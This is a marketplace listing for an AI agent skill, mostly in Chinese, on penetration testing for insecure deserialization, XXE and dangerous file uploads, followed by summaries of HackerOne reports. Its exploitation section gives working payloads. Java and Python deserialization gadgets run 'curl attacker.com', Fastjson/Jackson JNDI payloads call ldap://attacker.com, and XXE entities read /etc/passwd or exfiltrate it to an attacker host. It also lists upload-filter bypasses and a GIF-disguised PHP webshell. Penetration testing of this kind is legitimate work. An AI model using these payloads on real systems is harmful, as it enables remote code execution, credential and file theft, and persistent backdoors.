# Pentest Deserialization Xxe

> Use when performing penetration testing targeting deserialization, XXE, and dangerous file upload vulnerabilities. Keywords: deserialization, insecure deserialization, XXE, XML external entities, file upload, unrestricted upload, pickle, Java serialization, gadget chain

- Skill: `yhy0/pentest-deserialization-xxe` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add yhy0/pentest-deserialization-xxe`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yhy0/pentest-deserialization-xxe/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: yhy0 (https://skillmd.com/u/yhy0)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/yhy0/pentest-deserialization-xxe

---


# Deserialization & XXE Penetration Testing Patterns

当对 Web 应用进行反序列化和 XXE 渗透测试时加载此 Skill。覆盖 Java/Python/.NET 反序列化、XML 外部实体注入、危险文件上传等。

## Attack Surface Discovery

**反序列化入口：**
- Java：`ObjectInputStream`、JSON 库（Jackson `enableDefaultTyping`、Fastjson `@type`）
- Python：`pickle.loads()`、`yaml.load()`（不安全的 Loader）
- .NET：`BinaryFormatter`、`XmlSerializer`、ViewState
- PHP：`unserialize()`、Phar 反序列化
- Ruby：`Marshal.load()`、YAML `Psych.load()`（Krewe/Rails）

**XXE 入口：**
- XML 文件上传/处理：文档导入、配置文件解析
- SOAP/SAML 端点：XML 格式的 Web Service
- Office 文档处理：DOCX/XLSX（本质是 ZIP+XML）
- SVG 文件上传/渲染
- SpellCheck、RSS feed 等 XML 处理功能

**危险文件上传：**
- 头像/附件上传缺少类型校验
- 双扩展名绕过：`shell.php.jpg`
- MIME 类型白名单不严格

## Exploitation Techniques

**Java 反序列化：**
```bash
# 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" > payload.bin

# 常用 Gadget Chain
CommonsCollections1-7  # Apache Commons Collections
Spring1-4              # Spring Framework
Hibernate1             # Hibernate ORM
JRMPClient            # 远程类加载

# 检测：发送序列化魔术字节 (0xACED0005) 到可疑端点
```

**Fastjson/Jackson 反序列化：**
```json
// Fastjson @type 注入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}

// Jackson enableDefaultTyping
["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}]
```

**Python 反序列化：**
```python
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com",))
payload = pickle.dumps(Exploit())
```

**XXE 攻击：**
```xml
<!-- 基础 XXE（文件读取） -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Blind XXE（OOB 数据外传） -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<!-- evil.dtd: <!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;"> -->

<!-- SSRF via XXE -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
```

**危险文件上传利用：**
```
# 扩展名绕过
shell.php5, shell.phtml, shell.pHp   # PHP 变体
shell.jsp, shell.jspx, shell.jspa    # Java 变体
shell.aspx, shell.ashx, shell.asmx   # .NET 变体

# 内容类型绕过
Content-Type: image/jpeg  # 但文件内容是 PHP webshell

# 双扩展名
shell.php.jpg    # Apache 可能仍解析为 PHP
shell.jpg.php    # 真实扩展名在最后

# Magic bytes + webshell
GIF89a<?php system($_GET['cmd']); ?>   # GIF magic header + PHP
```

## Detection Checklist

- [ ] 识别所有接受序列化数据的端点（HTTP body、cookie、消息队列）
- [ ] 检查 Java 端点是否接受 `0xACED` 开头的序列化数据
- [ ] 测试 JSON 解析是否支持类型标注（Fastjson @type、Jackson defaultTyping）
- [ ] 在所有 XML 处理点注入 XXE payload（文件上传、SOAP、SVG）
- [ ] 测试 Blind XXE（使用 OOB 回调检测）
- [ ] 测试文件上传的扩展名过滤（双扩展名、大小写、特殊扩展名）
- [ ] 测试文件上传的 MIME 类型校验（Content-Type 篡改）
- [ ] 检查上传文件是否在可执行目录（能否直接访问触发执行）
- [ ] 测试 Office/SVG 文件上传是否触发 XML 解析（XXE via DOCX/SVG）
- [ ] 使用 ysoserial/PHPGGC 针对已知框架测试反序列化

## Impact Assessment

**漏洞利用可达到的效果：**
- 远程代码执行：反序列化 gadget chain → 服务器完全控制
- 敏感文件读取：XXE 读取 /etc/passwd、配置文件、密钥
- SSRF：XXE 访问内部服务、云元数据
- Webshell 上传：危险文件上传 → 持久化后门
- 拒绝服务：XXE Billion Laughs 攻击、反序列化消耗资源

**严重度判断：**
- **Critical**：反序列化 RCE、XXE 读取云凭证、上传可执行 webshell
- **High**：XXE 读取任意文件、Blind XXE 可外传数据
- **Medium**：XXE 仅可检测但无法外传数据、文件上传类型受限


## Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

### Case 1: Mars — insecure deserilize object leads to RCE On Sitecore (CVE-██████████-27218)

- **严重度**: Critical | **CWE**: Deserialization of Untrusted Data
- **摘要**: This critical vulnerability involved an insecure deserialization issue in Sitecore implementation, which was assigned CVE-2025-27218. The vulnerability allowed remote code execution through unsanitize...
- **报告**: https://hackerone.com/reports/3090123

### Case 2: Mars — Unrestricted File Upload at ██████████

- **严重度**: Critical | **CWE**: Unrestricted Upload of File with Dangerous Type
- **摘要**: The endpoint "████████" enabled unrestricted file uploads, allowing anyone to upload any type of file without registration.
- **报告**: https://hackerone.com/reports/2357778

### Case 3: Nextcloud — RCE on Wordpress website

- **严重度**: Critical | **CWE**: Deserialization of Untrusted Data
- **摘要**: A remote code execution vulnerability was exploited on a WordPress website due to unsafe deserialization of user input. This allowed arbitrary code execution as the web server user.
- **报告**: https://hackerone.com/reports/2248328

### Case 4: Nintendo — [Xenoblade Chronicles X: Definitive Edition] Unrestricted RPCs allow DoS and writing arbitrary flags remotely

- **严重度**: Critical | **CWE**: Resource Injection
- **摘要**: The Xenoblade Chronicles X: Definitive Edition vulnerability allowed attackers to perform Denial-of-Service (DoS) attacks and write arbitrary flags remotely due to unrestricted Remote Procedure Calls ...
- **报告**: https://hackerone.com/reports/3062122

### Case 5: U.S. Dept Of Defense — DNN - Unrestricted Arbitrary File Upload #████████

- **严重度**: Critical | **CWE**: File Content Injection
- **摘要**: A vulnerability was discovered in versions of DNN (formerly DotNetNuke) prior to 10.1.1. The vulnerability was caused by the default HTML editor provider allowing unauthenticated file uploads and over...
- **报告**: https://hackerone.com/reports/3414079

### Case 6: U.S. Dept Of Defense — [HTAF4-213] [Pre-submission] Unsafe AMF deserialization (CVE-2017-5641) in Apache Flex BlazeDS at the https://www.███████/daip/messagebroker/amf

- **严重度**: Critical | **CWE**: Deserialization of Untrusted Data
- **摘要**: The vulnerability was an unsafe AMF (Action Message Format) deserialization issue in Apache Flex BlazeDS, affecting the `/daip/messagebroker/amf` endpoint. Successful exploitation could allow an attac...
- **报告**: https://hackerone.com/reports/728614

### Case 7: U.S. Dept Of Defense — [HTA2] XXE on https://███ via SpellCheck Endpoint.

- **严重度**: Critical | **CWE**: XML External Entities (XXE)
- **摘要**: A full read XXE vulnerability was discovered on a website via the SpellCheck endpoint, allowing an attacker to read local files, make HTTP requests to internal applications and read the responses, ste...
- **报告**: https://hackerone.com/reports/715949

### Case 8: Basecamp — Two click Account Takeover 

- **严重度**: High | **CWE**: Deserialization of Untrusted Data
- **摘要**: A vulnerability was discovered in the HEY Email Android application that allowed for a two-click account takeover. Improper handling of incoming deeplinks led to the application's authorization bearer...
- **报告**: https://hackerone.com/reports/3079738

### Case 9: Internet Bug Bounty — CVE-2025-24813: Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet

- **严重度**: High | **CWE**: Deserialization of Untrusted Data
- **摘要**: The Apache Tomcat vulnerability CVE-2025-24813 allowed remote code execution and information disclosure. The vulnerability was caused by a combination of features, including writes enabled for the def...
- **报告**: https://hackerone.com/reports/3031518

### Case 10: Internet Bug Bounty — [CVE-2023-27531] Possible Deserialization of Untrusted Data vulnerability in Kredis JSON

- **严重度**: High | **CWE**: Deserialization of Untrusted Data
- **摘要**: A deserialization vulnerability was discovered in the Kredis JSON deserialization code, allowing for the potential deserialization of untrusted data. This could result in unexpected objects being dese...
- **报告**: https://hackerone.com/reports/2071554